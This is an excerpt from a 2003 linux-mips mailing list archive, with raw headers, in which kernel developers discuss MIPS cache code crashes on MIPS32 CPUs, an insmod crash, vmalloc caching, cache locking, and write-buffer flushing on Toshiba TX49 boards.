<br><tt>80109654:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 24811000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
addiu&nbsp;&nbsp; $at,$a0,4096</tt>
<br><tt>80109658:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bc8d0000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
cache&nbsp;&nbsp; 0xd,0($a0)</tt>
<br><tt>8010965c:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fc800000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
sdc3&nbsp;&nbsp;&nbsp; $0,0($a0)</tt>
<br><tt>80109660:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fc800008&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
sdc3&nbsp;&nbsp;&nbsp; $0,8($a0)</tt>
<br><tt>80109664:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fc800010&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
sdc3&nbsp;&nbsp;&nbsp; $0,16($a0)</tt>
<br><tt>80109668:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fc800018&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
sdc3&nbsp;&nbsp;&nbsp; $0,24($a0)</tt>
<br><tt>8010966c:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 24840040&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
addiu&nbsp;&nbsp; $a0,$a0,64</tt>
<br><tt>80109670:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bc8dffe0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
cache&nbsp;&nbsp; 0xd,-32($a0)</tt>
<br><tt>80109674:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fc80ffe0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
sdc3&nbsp;&nbsp;&nbsp; $0,-32($a0)</tt>
<br><tt>80109678:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fc80ffe8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
sdc3&nbsp;&nbsp;&nbsp; $0,-24($a0)</tt>
<br><tt>8010967c:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fc80fff0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
sdc3&nbsp;&nbsp;&nbsp; $0,-16($a0)</tt>
<br><tt>80109680:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1424fff5&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
bne&nbsp;&nbsp;&nbsp;&nbsp; $at,$a0,80109658 &lt;r4k_clear_page_d32+0x4></tt>
<br><tt>80109684:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fc80fff8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
sdc3&nbsp;&nbsp;&nbsp; $0,-8($a0)</tt>
<br><tt>80109688:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 03e00008&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
jr&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $ra</tt><tt></tt>
<p><tt>It seems much of the r4k cache code assumes the presence of SD&nbsp;-
which breaks on all MIPS32 CPU's?</tt><tt></tt>
<p><tt>/Hartvig</tt>
<br><tt></tt>&nbsp;</html>

--------------3F31D38311D1520593E361CC--


From yaelgilad@myrealbox.com Wed Apr 16 10:47:47 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 16 Apr 2003 10:47:48 +0100 (BST)
Received: from smtp-send.myrealbox.com ([IPv6:::ffff:192.108.102.143]:51481
	"EHLO smtp-send.myrealbox.com") by linux-mips.org with ESMTP
	id <S8225278AbTDPJrr> convert rfc822-to-8bit; Wed, 16 Apr 2003 10:47:47 +0100
Received: from yaelgilad [81.218.83.49] by myrealbox.com
	with NetMail ModWeb Module; Wed, 16 Apr 2003 09:47:45 +0000
Subject: Crash on insmod
From: "Gilad Benjamini" <yaelgilad@myrealbox.com>
To: kernelnewbies@nl.linux.org, linux-mips@linux-mips.org
Date: Wed, 16 Apr 2003 09:47:45 +0000
X-Mailer: NetMail ModWeb Module
X-Sender: yaelgilad
MIME-Version: 1.0
Message-ID: <1050486465.a013bc00yaelgilad@myrealbox.com>
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8BIT
Return-Path: <yaelgilad@myrealbox.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2070
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: yaelgilad@myrealbox.com
Precedence: bulk
X-list: linux-mips
Content-Length: 851
Lines: 39

Hi,
I have a simple scenario, with a simple-cut-down module
which crashes very frequently.

mips-linux 2.4.20 32 bit with 64-bit phys addresses enabled.

- Start the kernel
- insmod (full path, or short-name-after-depmod)
- Crash.

Other modules show no problems.

After much work, the module is now shrunk down to 
the following
-----------------
#define MODVERSIONS
#include <linux/module.h>
#include <linux/init.h>

int __init CG_init_module( void )
{
  return 0;
}

void __exit CG_cleanup_module( void )
{
}

module_init(CG_init_module);
module_exit(CG_cleanup_module);
-----------------

I am clueless as to the cause of the crash.
Oops info didn't provide anything useful, except a possible hint towards sys_create_module. printk's in this function showed it completed succesfully.

insmod -V shows 2.4.7 - Could that be related ?

Any ideas ?


From ashish.anand@inspiretech.com Wed Apr 16 10:51:59 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 16 Apr 2003 10:52:03 +0100 (BST)
Received: from inspiration-98-179-ban.inspiretech.com ([IPv6:::ffff:203.196.179.98]:8846
	"EHLO smtp.inspirtek.com") by linux-mips.org with ESMTP
	id <S8225278AbTDPJv7>; Wed, 16 Apr 2003 10:51:59 +0100
Received: from mail.inspiretech.com (mail.inspiretech.com [150.1.1.1])
	by smtp.inspirtek.com (8.12.5/8.12.5) with ESMTP id h3G9xVf6017958
	for <linux-mips@linux-mips.org>; Wed, 16 Apr 2003 15:29:35 +0530
Message-Id: <200304160959.h3G9xVf6017958@smtp.inspirtek.com>
Received: from WorldClient [150.1.1.1] by inspiretech.com [150.1.1.1]
	with SMTP (MDaemon.v3.5.7.R)
	for <linux-mips@linux-mips.org>; Wed, 16 Apr 2003 15:10:19 +0530
Date: Wed, 16 Apr 2003 15:10:17 +0530
From: "Ashish anand" <ashish.anand@inspiretech.com>
To: linux-mips@linux-mips.org
Subject: vmalloc cached space..
X-Mailer: WorldClient Standard 3.5.0e
X-MDRemoteIP: 150.1.1.1
X-Return-Path: ashish.anand@inspiretech.com
X-MDaemon-Deliver-To: linux-mips@linux-mips.org
Return-Path: <ashish.anand@inspiretech.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2071
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ashish.anand@inspiretech.com
Precedence: bulk
X-list: linux-mips
Content-Length: 215
Lines: 13

Hello,

As vmalloc returns KSEG2 cached memory , 
1.can I use a volatile pointer to treat it as safe as uncached..?
or
2. i should use vmalloc_prot (size, PAGE_KERNEL_UNCACHED) in umap.c.

Best regards,
Ashish

 



From dom@algor.co.uk Wed Apr 16 11:07:52 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 16 Apr 2003 11:08:23 +0100 (BST)
Received: from alg145.algor.co.uk ([IPv6:::ffff:62.254.210.145]:19972 "EHLO
	dmz.algor.co.uk") by linux-mips.org with ESMTP id <S8225278AbTDPKHw>;
	Wed, 16 Apr 2003 11:07:52 +0100
Received: from alg158.algor.co.uk ([62.254.210.158] helo=olympia.mips.com)
	by dmz.algor.co.uk with esmtp (Exim 3.35 #1 (Debian))
	id 195juV-00084l-00; Wed, 16 Apr 2003 11:12:59 +0100
Received: from arsenal.algor.co.uk
	([192.168.192.197] helo=arsenal.mips.com ident=mail)
	by olympia.mips.com with esmtp (Exim 3.36 #1 (Debian))
	id 195jpB-0007kn-00; Wed, 16 Apr 2003 11:07:29 +0100
Received: from dom by arsenal.mips.com with local (Exim 3.35 #1 (Debian))
	id 195jp9-00065z-00; Wed, 16 Apr 2003 11:07:27 +0100
From: Dominic Sweetman <dom@mips.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <16029.11103.408306.362389@arsenal.mips.com>
Date: Wed, 16 Apr 2003 11:07:27 +0100
To: Steve Taylor <godzilla1357@yahoo.com>
Cc: linux-mips@linux-mips.org
Subject: Re: Basic cache questions
In-Reply-To: <20030415221914.47873.qmail@web14503.mail.yahoo.com>
References: <20030415221914.47873.qmail@web14503.mail.yahoo.com>
X-Mailer: VM 7.03 under 21.4 (patch 6) "Common Lisp" XEmacs Lucid
X-MTUK-Scanner: Found to be clean
X-MTUK-SpamCheck: not spam, SpamAssassin (score=-1.2, required 4.5, AWL,
	IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, SPAM_PHRASE_00_01)
Return-Path: <dom@algor.co.uk>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2072
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: dom@mips.com
Precedence: bulk
X-list: linux-mips
Content-Length: 377
Lines: 17


Steve

> c) Do you think locking out, say, an entire way of a 4-way cache for
>    a dedicated frequently used routine improves or degrades overall
>    system performance?

It usually degrades performance, and is likely to go horribly wrong.

Look around and I expect you can find a better way to turn your effort
into higher performance!

--
Dominic Sweetman
dom@mips.com



From anemo@mba.ocn.ne.jp Wed Apr 16 12:47:18 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 16 Apr 2003 12:47:49 +0100 (BST)
Received: from topsns.toshiba-tops.co.jp ([IPv6:::ffff:202.230.225.5]:18697
	"HELO topsns.toshiba-tops.co.jp") by linux-mips.org with SMTP
	id <S8225278AbTDPLrS>; Wed, 16 Apr 2003 12:47:18 +0100
Received: from no.name.available by topsns.toshiba-tops.co.jp
          via smtpd (for mail.linux-mips.org [62.254.210.162]) with SMTP; 16 Apr 2003 11:47:16 UT
Received: from localhost (fragile [172.17.28.65])
	by srd2sd.toshiba-tops.co.jp (8.12.9/8.12.9) with ESMTP id h3GBkqNr003376;
	Wed, 16 Apr 2003 20:46:52 +0900 (JST)
	(envelope-from anemo@mba.ocn.ne.jp)
Date: Wed, 16 Apr 2003 20:52:56 +0900 (JST)
Message-Id: <20030416.205256.63134579.nemoto@toshiba-tops.co.jp>
To: macro@ds2.pg.gda.pl
Cc: kevink@mips.com, linux-mips@linux-mips.org, source@mvista.com
Subject: Re: wbflush() abuse for TOSHIBA_RBTX4927
From: Atsushi Nemoto <anemo@mba.ocn.ne.jp>
In-Reply-To: <Pine.GSO.3.96.1030415180933.13254I-100000@delta.ds2.pg.gda.pl>
References: <00ae01c3035e$d431aba0$10eca8c0@grendel>
	<Pine.GSO.3.96.1030415180933.13254I-100000@delta.ds2.pg.gda.pl>
X-Fingerprint: 6ACA 1623 39BD 9A94 9B1A  B746 CA77 FE94 2874 D52F
X-Pgp-Public-Key: http://wwwkeys.pgp.net/pks/lookup?op=get&search=0x2874D52F
Organization: TOSHIBA Personal Computer System Corporation
X-Mailer: Mew version 2.2 on Emacs 21.2 / Mule 5.0 (SAKAKI)
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Return-Path: <anemo@mba.ocn.ne.jp>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2073
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: anemo@mba.ocn.ne.jp
Precedence: bulk
X-list: linux-mips
Content-Length: 920
Lines: 21

>>>>> On Tue, 15 Apr 2003 18:25:38 +0200 (MET DST), "Maciej W. Rozycki" <macro@ds2.pg.gda.pl> said:
>> I remember that some of the Toshiba parts of the TX39 series
>> had some interesting quirks relating to the write buffer.  Perhaps
>> some of these were carried into the TX49 series as well?

macro> I suppose that's unrelated, since I'm specifically referring to
macro> the way the buffer is handled in the TOSHIBA_RBTX4927 code --
macro> the __wbflush() backend is not invoked by wbflush() and calls
macro> like mb() (used by portable drivers) unless the kernel is
macro> configured in an unobvious way and then there is duplicate
macro> "sync" (but maybe that's needed, thus my question among
macro> others).

I suppose it's just because the code was written before
CONFIG_CPU_HAS_SYNC was introduced.

AFAIK TX49's SYNC instruction correctly flushes the write buffer.
No bc0f loop is required.

---
Atsushi Nemoto

From ralf@linux-mips.net Wed Apr 16 12:50:06 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 16 Apr 2003 12:50:07 +0100 (BST)
Received: from p508B5469.dip.t-dialin.net ([IPv6:::ffff:80.139.84.105]:3754
	"EHLO dea.linux-mips.net") by linux-mips.org with ESMTP
	id <S8225278AbTDPLuG>; Wed, 16 Apr 2003 12:50:06 +0100
Received: (from ralf@localhost)
	by dea.linux-mips.net (8.11.6/8.11.6) id h3GBo1p08217;
	Wed, 16 Apr 2003 13:50:01 +0200
Date: Wed, 16 Apr 2003 13:50:01 +0200
From: Ralf Baechle <ralf@linux-mips.org>
To: Steve Taylor <godzilla1357@yahoo.com>
Cc: linux-mips@linux-mips.org
Subject: Re: Basic cache questions
Message-ID: <20030416135001.A29679@linux-mips.org>
References: <20030415221914.47873.qmail@web14503.mail.yahoo.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20030415221914.47873.qmail@web14503.mail.yahoo.com>; from godzilla1357@yahoo.com on Tue, Apr 15, 2003 at 03:19:14PM -0700
Return-Path: <ralf@linux-mips.net>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2074
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ralf@linux-mips.org
Precedence: bulk
X-list: linux-mips
Content-Length: 1584
Lines: 30

On Tue, Apr 15, 2003 at 03:19:14PM -0700, Steve Taylor wrote:

> Hello All,   I am hoping some of you mips-linux gurus will be able to
> help me give me some tips and help me get started on some cache stuff which
> I want to do. (I know decently well about caches - but only at a
> theoretical Hennessy & Patterson level - and have just started looking
> under arch/mips/mm to familiarize myself with the mips-linux
> implementation).   Here's what I want to do - I have a CPU with 4 way SA I
> and D caches, and I want to write a module that will lock a certain memory
> region in these caches (for example, let's say I want to lock the ISR in
> the I-cache). So my questions are

> a) Is the kernel going to crash if I try to mess around with the caches
> like locking out a particular way of the cache or something like that?

> b) I'm sure there are many issues and
> complications involved in this that I probably havent even thought of  -
> any obvious and/or subtle pitfalls? and c) Do you think locking out, say,
> an entire way of a 4-way cache for a dedicated frequently used routine
> improves or degrades overall system performance?

General wisdom says locking is rarely a win but a loss unless you have
particularly pathological access patterns which is not so likely with a
4-way cache.  Cache locking is primarily useful if you are doing hard
realtime stuff and need execution time deterministic to the absolute
technical limit - even if at cost of latency and throughput.  Linux
being a general purpose UNIX clone is hardly the OS for such an
application ...

  Ralf

From ralf@linux-mips.net Wed Apr 16 12:58:07 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 16 Apr 2003 12:58:08 +0100 (BST)
Received: from p508B5469.dip.t-dialin.net ([IPv6:::ffff:80.139.84.105]:11434
	"EHLO dea.linux-mips.net") by linux-mips.org with ESMTP
	id <S8225278AbTDPL6H>; Wed, 16 Apr 2003 12:58:07 +0100
Received: (from ralf@localhost)
	by dea.linux-mips.net (8.11.6/8.11.6) id h3GBvue08365;
	Wed, 16 Apr 2003 13:57:56 +0200
Date: Wed, 16 Apr 2003 13:57:56 +0200
From: Ralf Baechle <ralf@linux-mips.org>
To: Ashish anand <ashish.anand@inspiretech.com>
Cc: linux-mips@linux-mips.org
Subject: Re: vmalloc cached space..
Message-ID: <20030416135756.B29679@linux-mips.org>
References: <200304160959.h3G9xVf6017958@smtp.inspirtek.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <200304160959.h3G9xVf6017958@smtp.inspirtek.com>; from ashish.anand@inspiretech.com on Wed, Apr 16, 2003 at 03:10:17PM +0530
Return-Path: <ralf@linux-mips.net>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2075
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ralf@linux-mips.org
Precedence: bulk
X-list: linux-mips
Content-Length: 780
Lines: 19

On Wed, Apr 16, 2003 at 03:10:17PM +0530, Ashish anand wrote:

> As vmalloc returns KSEG2 cached memory , 
> 1.can I use a volatile pointer to treat it as safe as uncached..?
> or

Volatile does not mean uncached.  Volatile means the C compiler should not
perform certain optimizations and is usually used for hardware accesses
that have side effects or variables that can be changed from some kind
of interrupt or signal handled and are also read by the main program.

> 2. i should use vmalloc_prot (size, PAGE_KERNEL_UNCACHED) in umap.c.

Uncached memory access is rarely necessary and so _extremly_ slow that it
should be avoided at almost any price.  Maybe you should describe what
you're trying to achieve, then let's see if there's a better suggestion
we can make.

  Ralf

From ralf@linux-mips.net Wed Apr 16 13:33:15 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 16 Apr 2003 13:33:15 +0100 (BST)
Received: from p508B5469.dip.t-dialin.net ([IPv6:::ffff:80.139.84.105]:44714
	"EHLO dea.linux-mips.net") by linux-mips.org with ESMTP
	id <S8225278AbTDPMdP>; Wed, 16 Apr 2003 13:33:15 +0100
Received: (from ralf@localhost)
	by dea.linux-mips.net (8.11.6/8.11.6) id h3GCXDi09060;
	Wed, 16 Apr 2003 14:33:13 +0200
Date: Wed, 16 Apr 2003 14:33:13 +0200
From: Ralf Baechle <ralf@linux-mips.org>
To: Ladislav Michl <ladis@linux-mips.org>
Cc: linux-mips@linux-mips.org
Subject: Re: r4400 cache code speed
Message-ID: <20030416143313.A7703@linux-mips.org>
References: <20030416110202.GA2319@simek>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20030416110202.GA2319@simek>; from ladis@linux-mips.org on Wed, Apr 16, 2003 at 01:02:02PM +0200
Return-Path: <ralf@linux-mips.net>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2076
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ralf@linux-mips.org
Precedence: bulk
X-list: linux-mips

On Wed, Apr 16, 2003 at 01:02:02PM +0200, Ladislav Michl wrote:

> make vmlinux on current cvs tree
> 
> 2.4.19-rc1
> real    40m32.394s
> user    37m48.550s
> sys     2m13.350s
> cvs current
> real    41m14.253s
> user    37m39.880s
> sys     3m6.730s

This really comes as a surprise.  You have lost about as much performance
as other people have won.  I wonder if that is related to you using the
R4400SC which along with it's older brother R4000SC still is a major
special case in the cache code.

  Ralf

From kevink@mips.com Wed Apr 16 13:52:12 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 16 Apr 2003 13:52:44 +0100 (BST)
Received: from mx2.mips.com ([IPv6:::ffff:206.31.31.227]:44700 "EHLO
	mx2.mips.com") by linux-mips.org with ESMTP id <S8225289AbTDPMwM>;
	Wed, 16 Apr 2003 13:52:12 +0100
Received: from newman.mips.com (ns-dmz [206.31.31.225])
	by mx2.mips.com (8.12.5/8.12.5) with ESMTP id h3GCq0Ue022298;
	Wed, 16 Apr 2003 05:52:01 -0700 (PDT)
Received: from grendel (grendel [192.168.236.16])
	by newman.mips.com (8.9.3/8.9.0) with SMTP id FAA21795;
	Wed, 16 Apr 2003 05:51:58 -0700 (PDT)
Message-ID: <00c401c30418$0d9d1370$10eca8c0@grendel>
From: "Kevin D. Kissell" <kevink@mips.com>
To: "Hartvig Ekner" <hartvig@ekner.info>,
	"Linux MIPS mailing list" <linux-mips@linux-mips.org>
References: <3E9D0C34.38FE2749@ekner.info>
Subject: Re: MIPS32 cache functions now using c-r4k?
Date: Wed, 16 Apr 2003 14:59:30 +0200
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_00C1_01C30428.C88D6B20"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4807.1700
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4910.0300
Return-Path: <kevink@mips.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2077
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: kevink@mips.com
Precedence: bulk
X-list: linux-mips

This is a multi-part message in MIME format.

------=_NextPart_000_00C1_01C30428.C88D6B20
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

The whole point of creating the generic MIPS32 MMU and cache
routines was to have something that would run on both 32-bit and
64-bit processors.  Who decided to throw them away and abandon=20
support for 32-bit-only CPUs other than the R3000, and why?

            Kevin K.
  ----- Original Message -----=20
  From: Hartvig Ekner=20
  To: Linux MIPS mailing list=20
  Sent: Wednesday, April 16, 2003 9:54 AM
  Subject: MIPS32 cache functions now using c-r4k?


  On a MIPS32 CPU (Au1500), I now end up in:=20
  Mount cache hash table entries: 512 (order: 0, 4096 bytes)=20
  Buffer-cache hash table entries: 4096 (order: 2, 16384 bytes)=20
  Page-cache hash table entries: 16384 (order: 4, 65536 bytes)=20
  Checking for 'wait' instruction...  available.=20
  POSIX conformance testing by UNIFIX=20
  Autoconfig PCI channel 0x802d0ab8=20
  Scanning bus 00, I/O 0x00000300:0x00100000, Mem 0x40000000:0x44000000=20
  Reserved instruction in kernel code in traps.c::do_ri, line 650:=20
  $0 : 00000000 810e4000 802d0000 80109654 810e3000 802c4754 00000000 =
80000000=20
  $8 : 8102e720 00000001 8010b98c c0000000 001fffff c0000000 fffffff4 =
00000010=20
  $16: 810e3000 802d1340 802b9800 802bc000 00000000 00000000 00101000 =
00000000=20
  $24: ffffffff 810ebde7                   810ea000 810ebd68 00000000 =
80121adc=20
  Hi : 00000000=20
  Lo : 000000c0=20
  epc  : 8010965c    Not tainted=20
  Status: 1000fc02=20
  Cause : 00800028=20
  Process swapper (pid: 1, stackpage=3D810ea000)=20

  Which is:=20

  80109654 <r4k_clear_page_d32>:=20
  80109654:       24811000        addiu   $at,$a0,4096=20
  80109658:       bc8d0000        cache   0xd,0($a0)=20
  8010965c:       fc800000        sdc3    $0,0($a0)=20
  80109660:       fc800008        sdc3    $0,8($a0)=20
  80109664:       fc800010        sdc3    $0,16($a0)=20
  80109668:       fc800018        sdc3    $0,24($a0)=20
  8010966c:       24840040        addiu   $a0,$a0,64=20
  80109670:       bc8dffe0        cache   0xd,-32($a0)=20
  80109674:       fc80ffe0        sdc3    $0,-32($a0)=20
  80109678:       fc80ffe8        sdc3    $0,-24($a0)=20
  8010967c:       fc80fff0        sdc3    $0,-16($a0)=20
  80109680:       1424fff5        bne     $at,$a0,80109658 =
<r4k_clear_page_d32+0x4>=20
  80109684:       fc80fff8        sdc3    $0,-8($a0)=20
  80109688:       03e00008        jr      $ra=20

  It seems much of the r4k cache code assumes the presence of SD - which =
breaks on all MIPS32 CPU's?=20

  /Hartvig=20
   =20

------=_NextPart_000_00C1_01C30428.C88D6B20
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4919.2200" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>The whole point of&nbsp;creating the =
generic MIPS32=20
MMU and cache</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>routines was to have something that =
would run on=20
both 32-bit and</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>64-bit processors.&nbsp; Who decided to =
throw them=20
away and </FONT><FONT face=3DArial size=3D2>abandon </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>support for 32-bit-only CPUs other than =
the R3000,=20
and why?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp; Kevin K.</FONT></DIV>
<BLOCKQUOTE dir=3Dltr=20
style=3D"PADDING-RIGHT: 0px; PADDING-LEFT: 5px; MARGIN-LEFT: 5px; =
BORDER-LEFT: #000000 2px solid; MARGIN-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A title=3Dhartvig@ekner.info =
href=3D"mailto:hartvig@ekner.info">Hartvig Ekner</A>=20
  </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A =
title=3Dlinux-mips@linux-mips.org=20
  href=3D"mailto:linux-mips@linux-mips.org">Linux MIPS mailing list</A> =
</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Wednesday, April 16, 2003 =
9:54=20
  AM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> MIPS32 cache functions =
now using=20
  c-r4k?</DIV>
  <DIV><BR></DIV><TT>On a MIPS32 CPU (Au1500), I&nbsp;now end up=20
  in:</TT><TT></TT>=20
  <P><TT>Mount cache hash table entries: 512 (order: 0, 4096 bytes)</TT> =

  <BR><TT>Buffer-cache hash table entries: 4096 (order: 2, 16384 =
bytes)</TT>=20
  <BR><TT>Page-cache hash table entries: 16384 (order: 4, 65536 =
bytes)</TT>=20
  <BR><TT>Checking for 'wait' instruction...&nbsp; available.</TT> =
<BR><TT>POSIX=20
  conformance testing by UNIFIX</TT> <BR><TT>Autoconfig PCI channel=20
  0x802d0ab8</TT> <BR><TT>Scanning bus 00, I/O 0x00000300:0x00100000, =
Mem=20
  0x40000000:0x44000000</TT> <BR><TT>Reserved instruction in kernel code =
in=20
  traps.c::do_ri, line 650:</TT> <BR><TT>$0 : 00000000 810e4000 802d0000 =

  80109654 810e3000 802c4754 00000000 80000000</TT> <BR><TT>$8 : =
8102e720=20
  00000001 8010b98c c0000000 001fffff c0000000 fffffff4 00000010</TT>=20
  <BR><TT>$16: 810e3000 802d1340 802b9800 802bc000 00000000 00000000 =
00101000=20
  00000000</TT> <BR><TT>$24: ffffffff=20
  =
810ebde7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
  810ea000 810ebd68 00000000 80121adc</TT> <BR><TT>Hi : 00000000</TT> =
<BR><TT>Lo=20
  : 000000c0</TT> <BR><TT>epc&nbsp; : 8010965c&nbsp;&nbsp;&nbsp; Not=20
  tainted</TT> <BR><TT>Status: 1000fc02</TT> <BR><TT>Cause : =
00800028</TT>=20
  <BR><TT>Process swapper (pid: 1, stackpage=3D810ea000)</TT><TT></TT>=20
  <P><TT>Which is:</TT><TT></TT>=20
  <P><TT>80109654 &lt;r4k_clear_page_d32&gt;:</TT>=20
  <BR><TT>80109654:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
  24811000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; addiu&nbsp;&nbsp;=20
  $at,$a0,4096</TT> =
<BR><TT>80109658:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
